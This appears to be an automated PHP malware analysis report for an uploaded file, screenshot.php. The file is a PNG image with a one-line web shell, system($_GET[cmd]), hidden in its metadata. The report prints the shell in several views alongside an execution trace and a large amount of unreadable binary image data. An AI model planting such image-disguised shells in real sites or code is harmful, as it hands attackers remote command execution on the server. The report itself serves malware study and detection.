PHP Malware Analysis

screenshot.php

md5: ce2190e35fd1dcaf3a255d149e7d0a9f

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

�PNG


IHDR�6���veXIfMM*
Jfn(<?php 
system($_GET[cmd]);
?>HH��Z&	�IDATx��{L[���چ���B^
qMV�Dh,O[�*[J��F��.�j���
���]�mI�M��$;R���	�&$�7Q��eq�(��x0��E�`'Y��0`����6�#d�{~;_~�gsn�`0Q�0�y�U��>�j1�V-&����DX�����8�t0���}`�b��ZL�
v�B����ͣ���k�,��־$��1�����Z������M�\i%_%�yX�W(�A�7��0ܙ`n(����"���!*���<�I`���T1���O�����]O���"�*0ˋy�c�X.���<����%�|B�'�םsw5{���O�d�V��cR!_��UZɗ�\w�+��@�T���J��=�����3��KkLM�Gb���\�@o���Z���:�q�	�f���j�lh��8B~ރ@k��܌��f4hF����Gp֌�N��?�����AsU��,Ef#4��.uo����kUWL��A/�2���
��`#�+��s���)����O�5�������x�7�
�۴��3�@+��b[yz��0�F�L��=��Z�oS�6����TMy:����rD )|U`��J��[T�(S\� �ҋ��.����,�#�"0��P��H?z�T�rEwr�_TZ��~V����es��0�2YEc������]��n`�<T�y����.�����Y
}!ʎT��U2"P��M�
萂.|
f!,��9�ZQA��m��M�P}�m4
�y��Zymʼ���:�@��nV��WK��̧
[GŁ�y�6����b�h�B������U��>�	a��p�6S��il6d]��bB�'�Y��]!V)YE�����hYE#UWL��1()��ZTP�u/��JPMM�ފ�9 ;R���i,DW��@xޣ�yR�E�d	�Zfɂ�|a��G���2�Y���ń�G�N/�b�bB��?./�b�bBe��3��p	���a�$%u���c^޾?��;wdG*����z�*�C��n
�6l�Tޘp�Z��p��C�r�������			$I���Ν;������6�-==="yc"Kk��
7h_��pAbb"��1�###ccc&��$��۷���dgg�H�s��Ңm����/nG��
Zk9����+���y<^lll\\\|||ݿ.u�'̣�9ӥ9[���w9bc�

���=�7h��r���m�������x�Z���]�ub�<z�o����rT3�O�� �O{№{���OF#u���1�7k��_�t.�w6�>y�ddd!d4BA�?O�ݒ��ݢ��u�>m	�Y��G,7��y �Ѩ��Wͥv_Y� +�t=���M�T��{t��M�J�7�Ydݺ��}��'N�3h��n��^�Z �l�����Ͽ=�ڃ,frf�3=FΌ�6�j~��$X����z(�=��0��U�'�%�Mt�L�m{A�9#,����eժ���/R9��V�utttxx�n��\���_�hj��N�3�u��N9;���L����ܡ|7fF#u�J��ɴ�CI�X\P�-�I�옖{�A��p�����DR�Ď]��>�N��u��TC;�H5���F�Qܟ}��-��m���A(G[[/�?a�����`0LLL���#��'^:��w?i~4bv/�����z������Ai3�}�_-q�Z
(���I�Z�h.�#����}&���]x���6;�r�a�ɲ`}JBhllrժ����ܺuB�o�e�'h���l�?��l��\+i���W��
�o�wep��	�o��$�x~܂��0}zp�:��t4��*-�!����_:*-���gB���?86ӧ��
dE��]�]iז�=�Ȋ(G������˵f�l[{���iii7n�~����]�r-����!�Y�&!!�n�[���_�a�ݲVS��a�ӓ05	ӓ05�ź�>��9�o��P��/V���W��-����L��Ȏ��*
�hT��>�}^ܜ�,���{������'O~���a�V���y�޽��������)�ݎBCe�t=�g-�7_���u�v��n��`������%��8/��q��rү�H(J�Dz����!�m�+�T����Ø���L��>x�n������P�O�����mA��U��_���C��y)���\�s�_��.<g�=��	EI��:m�gK�A����o��Η_}��AO�455%$$�x<���������r�*<��`��u����l���Pm��2-'���K���ג$����{�n��2�L����v�Z/�G���j�X,�~�Ѩ��ڪH��qT�yyyqqq� ������T����������6nܘ���o�4C����o.��aK|*}�;p0�V-&����DX����}`�b��ZL��ʀ�=Kl��IEND�B`�

Execution traces

data/traces/ce2190e35fd1dcaf3a255d149e7d0a9f_trace-1676251453.3147.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:24:39.212485]
1	0	1	0.000139	393528
1	3	0	0.000190	397432	{main}	1		/var/www/html/uploads/screenshot.php	0	0
2	4	0	0.000227	397432	system	0		/var/www/html/uploads/screenshot.php	5	1	NULL
2	4	1	0.000251	397464
2	4	R			FALSE
1	3	1	0.000266	397432
			0.000289	314240
TRACE END   [2023-02-12 23:24:39.212661]


Generated HTML code

<html><head></head><body>�PNG


IHDR�6���veXIfMM*
Jfn(HH��Z&amp;	�IDATx��{L[���چ���B^
qMV�Dh,O[�*[J��F��.�j���
���]�mI�M��$;R���	�&amp;$�7Q��eq�(��x0��E�`'Y��0`�����6�#d�{~;_~�gsn�`0Q�0�y�U��&gt;�j1�V-&amp;����DX������8�t0���}`�b��ZL��
v�B����ͣ���k�,��־$��1�����Z������M�\i%_%�yX�W(�A�7��0ܙ`n(����"���!*���&lt;�I`���T1���O�����]O���"�*0ˋy���c�X.���&lt;����%�|B�'�םsw5{���O�d�V��cR!_��UZɗ�\w�+��@�T����J��=�����3��KkLM�Gb���\�@o���Z���:�q�	�f���j�lh��8B~ރ@k��܌����f4hF����Gp֌�N��?�����AsU��,Ef#4��.uo����kUWL��A/�2���
��`#�+��s���)����O�5���������x�7�
�۴��3�@+��b[yz��0�F�L���=��Z�oS�6����TMy:����rD )|U`��J��[T�(S\� �ҋ��.����,�#�"0���P��H?z�T�rEwr�_TZ��~V�������es���0�2YEc������]��n`�<t�y����.�����y }!ʎt��u2"p��m�="" 萂.|="" f!,���9�zqa���m��m�p}�m4="" �y���zymʼ���:��@��nv��wk��̧="" [gŁ�y�6����b�h�b������u��="">��	a��p�6S���il6d]��bB�'�Y��]!V)YE�����hYE#UWL��1()��ZTP�u/��JPMM�ފ�9 ;R���i,DW��@xޣ�yR�E�d	�Zfɂ�|a��G����2�Y���ń�G�N/�b�bB��?./�b�bBe��3��p	���a�$%u�����c^޾?���;wdG*����z�*�C��n
�6l�Tޘp�Z��p��C�r�������			$I���Ν;������6�-==="yc"Kk��
7h_��pAbb"��1�###ccc&amp;��$��۷���dgg���H�s��Ңm����/nG��
Zk9����+���y&lt;^lll\\\|||ݿ.u�'̣�9ӥ9[���w9bc�

���=�7h��r���m�������x�Z����]�ub�<z�o����rt3�o�� �o{№{���of#u���1�7k��_�t.�w6�="">y�ddd!d4BA�?O�ݒ��ݢ��u�&gt;m	�Y��G,7��y �Ѩ��Wͥv_Y� +�t=���M�T��{t��M�J�7�Ydݺ��}��'N�3h��n��^�Z �l�����Ͽ=�ڃ,frf�3=FΌ�6�j~����$X����z(�=��0��U�'�%�Mt�L�m{A�9#,�����eժ���/R9��V�utttxx�n��\���_�hj��N�3�u��N9;���L����ܡ|7fF#u�J��ɴ�CI�X\P�-�I�옖{�A��p������DR�Ď]��&gt;�N��u��TC;�H5���F�Qܟ}��-��m���A(G[[/�?a�����`0LLL���#��'^:��w?i~4bv/�����z�������Ai3�}�_-q�Z
(���I�Z�h.�#����}&amp;���]x����6;�r�a�ɲ`}JBhllrժ����ܺuB�o�e�'h���l�?��l��\+i����W���
�o�wep��	�o��$�x~܂��0}zp�:��t4��*-�!����_:*-���gB���?86ӧ��
dE��]�]iז�=�Ȋ(G������˵f�l[{���iii7n�~����]�r-����!�Y�&amp;!!�n�[���_�a�ݲVS��a�ӓ05	ӓ05�ź�&gt;��9�o��P����/V���W��-����L��Ȏ��*
�hT��&gt;�}^ܜ�,���{������'O~���a�V���y�޽��������)�ݎBCe�t=�g-�7_���u�v��n��`������%��8/��q��rү�H(J�Dz�����!�m�+�T����Ø�����L��&gt;x��n�������P�O�����mA��U��_���C��y)���\�s�_��.</z�o����rt3�o��></t�y����.�����y></body></html>

Original PHP code

�PNG


IHDR�6���veXIfMM*
Jfn(<?php system($_GET[cmd]);?>HH��Z&	�IDATx��{L[���چ���B^
qMV�Dh,O[�*[J��F��.�j���
���]�mI�M��$;R���	�&$�7Q��eq�(��x0��E�`'Y��0`����6�#d�{~;_~�gsn�`0Q�0�y�U��>�j1�V-&����DX�����8�t0���}`�b��ZL�
v�B����ͣ���k�,��־$��1�����Z������M�\i%_%�yX�W(�A�7��0ܙ`n(����"���!*���<�I`���T1���O�����]O���"�*0ˋy�c�X.���<����%�|B�'�םsw5{���O�d�V��cR!_��UZɗ�\w�+��@�T���J��=�����3��KkLM�Gb���\�@o���Z���:�q�	�f���j�lh��8B~ރ@k��܌��f4hF����Gp֌�N��?�����AsU��,Ef#4��.uo����kUWL��A/�2���
��`#�+��s���)����O�5�������x�7�
�۴��3�@+��b[yz��0�F�L��=��Z�oS�6����TMy:����rD )|U`��J��[T�(S\� �ҋ��.����,�#�"0��P��H?z�T�rEwr�_TZ��~V����es��0�2YEc������]��n`�<T�y����.�����Y
}!ʎT��U2"P��M�
萂.|
f!,��9�ZQA��m��M�P}�m4
�y��Zymʼ���:�@��nV��WK��̧
[GŁ�y�6����b�h�B������U��>�	a��p�6S��il6d]��bB�'�Y��]!V)YE�����hYE#UWL��1()��ZTP�u/��JPMM�ފ�9 ;R���i,DW��@xޣ�yR�E�d	�Zfɂ�|a��G���2�Y���ń�G�N/�b�bB��?./�b�bBe��3��p	���a�$%u���c^޾?��;wdG*����z�*�C��n
�6l�Tޘp�Z��p��C�r�������			$I���Ν;������6�-==="yc"Kk��
7h_��pAbb"��1�###ccc&��$��۷���dgg�H�s��Ңm����/nG��
Zk9����+���y<^lll\\\|||ݿ.u�'̣�9ӥ9[���w9bc�

���=�7h��r���m�������x�Z���]�ub�<z�o����rT3�O�� �O{№{���OF#u���1�7k��_�t.�w6�>y�ddd!d4BA�?O�ݒ��ݢ��u�>m	�Y��G,7��y �Ѩ��Wͥv_Y� +�t=���M�T��{t��M�J�7�Ydݺ��}��'N�3h��n��^�Z �l�����Ͽ=�ڃ,frf�3=FΌ�6�j~��$X����z(�=��0��U�'�%�Mt�L�m{A�9#,����eժ���/R9��V�utttxx�n��\���_�hj��N�3�u��N9;���L����ܡ|7fF#u�J��ɴ�CI�X\P�-�I�옖{�A��p�����DR�Ď]��>�N��u��TC;�H5���F�Qܟ}��-��m���A(G[[/�?a�����`0LLL���#��'^:��w?i~4bv/�����z������Ai3�}�_-q�Z
(���I�Z�h.�#����}&���]x���6;�r�a�ɲ`}JBhllrժ����ܺuB�o�e�'h���l�?��l��\+i���W��
�o�wep��	�o��$�x~܂��0}zp�:��t4��*-�!����_:*-���gB���?86ӧ��
dE��]�]iז�=�Ȋ(G������˵f�l[{���iii7n�~����]�r-����!�Y�&!!�n�[���_�a�ݲVS��a�ӓ05	ӓ05�ź�>��9�o��P��/V���W��-����L��Ȏ��*
�hT��>�}^ܜ�,���{������'O~���a�V���y�޽��������)�ݎBCe�t=�g-�7_���u�v��n��`������%��8/��q��rү�H(J�Dz����!�m�+�T����Ø���L��>x�n������P�O�����mA��U��_���C��y)���\�s�_��.<g�=��	EI��:m�gK�A����o��Η_}��AO�455%$$�x<���������r�*<��`��u����l���Pm��2-'���K���ג$����{�n��2�L����v�Z/�G���j�X,�~�Ѩ��ڪH��qT�yyyqqq� ������T����������6nܘ���o�4C����o.��aK|*}�;p0�V-&����DX����}`�b��ZL��ʀ�=Kl��IEND�B`�